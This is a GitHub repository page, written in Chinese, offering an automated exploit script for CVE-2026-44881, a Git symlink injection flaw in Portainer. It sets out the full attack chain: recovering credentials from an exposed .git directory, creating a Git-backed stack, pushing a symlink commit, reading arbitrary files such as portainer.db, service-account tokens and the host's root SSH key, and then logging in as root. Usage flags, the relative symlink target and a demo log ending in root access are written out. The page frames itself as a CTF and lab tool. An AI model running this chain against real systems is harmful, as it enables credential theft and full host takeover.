0xdak/CVE-2026-44881_exploit
GitHub: 0xdak/CVE-2026-44881_exploit
针对 Portainer Git 符号链接注入漏洞(CVE-2026-44881)的自动化漏洞利用脚本,通过低权限认证用户实现容器内任意文件读取,最终可窃取宿主机 SSH 私钥并获取 root 访问权限。
Stars: 0 | Forks: 0
# CVE-2026-44881 — Portainer Git 符号链接 → 任意主机文件读取
针对 **CVE-2026-44881** 的单脚本漏洞利用。这是 Portainer 的 stack 部署流程中存在的一个 Git 符号链接注入漏洞,允许任何拥有 stack 创建权限的低权限认证用户读取 Portainer 进程可访问的任意文件。
## 漏洞原理
该漏洞是两个攻击原语的组合:
1. **`go-git` v5** 在执行 `git clone` 时,会将 mode 为 `0o120000`(符号链接)的 Git tree 条目转换为真实的 OS 符号链接。唯一被列入黑名单的名称是 `.gitmodules`;所有其他路径——包括被 Portainer 视为 stack 入口的 `docker-compose.yml`——都可以是指向任意**相对**目标的符号链接。
2. **`Service.GetFileContent`** (`api/filesystem/filesystem.go`) 使用 `os.ReadFile` 读取 stack 入口文件,该函数会透明地跟随 OS 符号链接。`JoinPaths` 虽然会阻止*输入字符串*中的 `../`,但从未调用 `filepath.EvalSymlinks`,因此磁盘上已存在的符号链接会顺理成章地解析到其目标路径。
Portainer 通常在其容器内以 **root** 身份运行(因为需要访问 Docker socket),因此该读取原语的作用范围是该容器所能看到的一切——通常是 `/data/portainer.db`(包含每个用户密码哈希值和每个 API token 的 BoltDB)、位于 `/var/run/secrets/kubernetes.io/serviceaccount/token` 的 Kubernetes service-account token、位于 `/run/secrets/` 的 Docker Swarm secrets,并且——在为了监控而绑定挂载了主机文件系统的部署中——还包括主机的 `/etc/shadow`、`/root/.ssh/*` 等等。
该脚本利用的攻击链如下:
```
leaked .git on port 80
→ recover lowuser:password from commit history
→ Portainer login
→ create Git-backed stack with clean YAML (validation passes, stack persists)
→ push symlink commit, trigger /git/redeploy (validation fails, working tree IS updated)
→ GET /api/stacks/{id}/file (returns symlink target's content)
→ ssh -i stolen_key root@target
```
## 用法
```
./exploit.sh -t 192.168.1.27
```
脚本会从 `ip addr` 自动检测攻击者的 IP,并假设 `.git` 暴露在 `http://target/.git/`。请根据您的实际环境覆盖任何不匹配的配置:
```
-t, --target target IP (required)
-a, --attacker attacker IP advertised to Portainer for the git daemon (auto-detected)
-l, --leak-path path of the exposed .git directory (default: /.git)
-p, --portainer-port Portainer HTTP port (default: 9000)
-g, --git-port local git daemon port (default: 9418)
-w, --workdir working directory for scratch files (default: mktemp)
-u, --user skip .git enumeration; use this Portainer username
-P, --pass skip .git enumeration; use this Portainer password
--no-creds-from-git skip the .git stage and require -u/-P
--no-ssh skip the final SSH-in step
-h, --help show this help and exit
```
## 演示
```
$ ./exploit.sh -t 192.168.1.27
[+] Target : http://192.168.1.27:9000
[+] Attacker IP : 192.168.1.34
[+] Workdir : /tmp/cve44881-xxxx
=== Stage 1 — dump leaked /.git and recover creds ===
[+] git-dumper found, running it...
[+] git history:
3a1f9e2 oops: remove creds from repo, rotate before prod
b4c20a6 add trial onboarding env (temp, will move to vault)
d09a875 init: portal landing + ops notes
[+] Recovered creds: lowuser / lowuser-c0ntain3r-2026
=== Stage 2 — Portainer auth ===
[+] JWT: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...
[+] Endpoint ID: 1
=== Stage 3 — host the bait Git repo on git://192.168.1.34:9418/repo.git ===
[+] git daemon up (pid 12345)
=== Stage 4 — create the Git-backed stack (clean YAML) ===
[+] Stack ID: 1
=== Stage 5 — push symlink commit + trigger redeploy ===
[+] redeploy response: {"message":"stack config file is invalid: top-level object must be a mapping"}
=== Stage 6 — GET /api/stacks/1/file ===
[+] leaked private key saved to /tmp/cve44881-xxxx/stolen_id_rsa
-----BEGIN OPENSSH PRIVATE KEY-----
...
-----END OPENSSH PRIVATE KEY-----
=== Stage 7 — SSH in as root with leaked key ===
=== id ===
uid=0(root) gid=0(root) groups=0(root)
=== hostname ===
containerops
=== flag ===
b7d419c8a2f6e90315b7d419c8a2f6e9
=== Done — exploit complete ===
```
## 环境要求
- Bash, `curl`, `jq`, `git` (包含 `git daemon`), `ssh`
- *推荐:* [`git-dumper`](https://github.com/arthaud/git-dumper) — `pipx install git-dumper`。脚本内置了一个处理简单 loose-object 情况的最小化 dumb-HTTP 枚举器,以备 `git-dumper` 缺失时使用;但对于任何非同寻常的 `.git` 目录泄露情况,完整工具的可靠性要高得多。
## 注意事项
- 该脚本假设实验环境的绑定挂载布局为 `/:/mnt/host:ro`,并读取 `/mnt/host/root/.ssh/id_rsa`。要以其他文件为目标,请修改第 5 阶段(`../../../mnt/host/root/.ssh/id_rsa`)中的符号链接目标。Portainer 的 go-billy 会将*绝对*符号链接 chroot 限制在工作树中,因此目标**必须是相对的**。
- 从 `.git` 中恢复的凭据仅限于 Portainer 范围——它们不能获取 SSH 或任何直接的主机访问权限。该实验环境的设计使得通向主机级 RCE 的唯一途径就是通过此 CVE。
- 重新部署阶段**预期** Portainer 会返回 `{"message":"stack config file is invalid"}` 响应——这是验证器在报错抱怨 SSH key 不是有效的 YAML。在验证器运行之前,clone 操作就已经覆盖了工作树,这正是我们所需要的。
## 许可证
MIT。仅用于授权测试和 CTF / 实验环境。
标签:Go, Python, Ruby工具, StruQ, 内存分配, 应用安全, 无后门, 符号链接注入, 路径遍历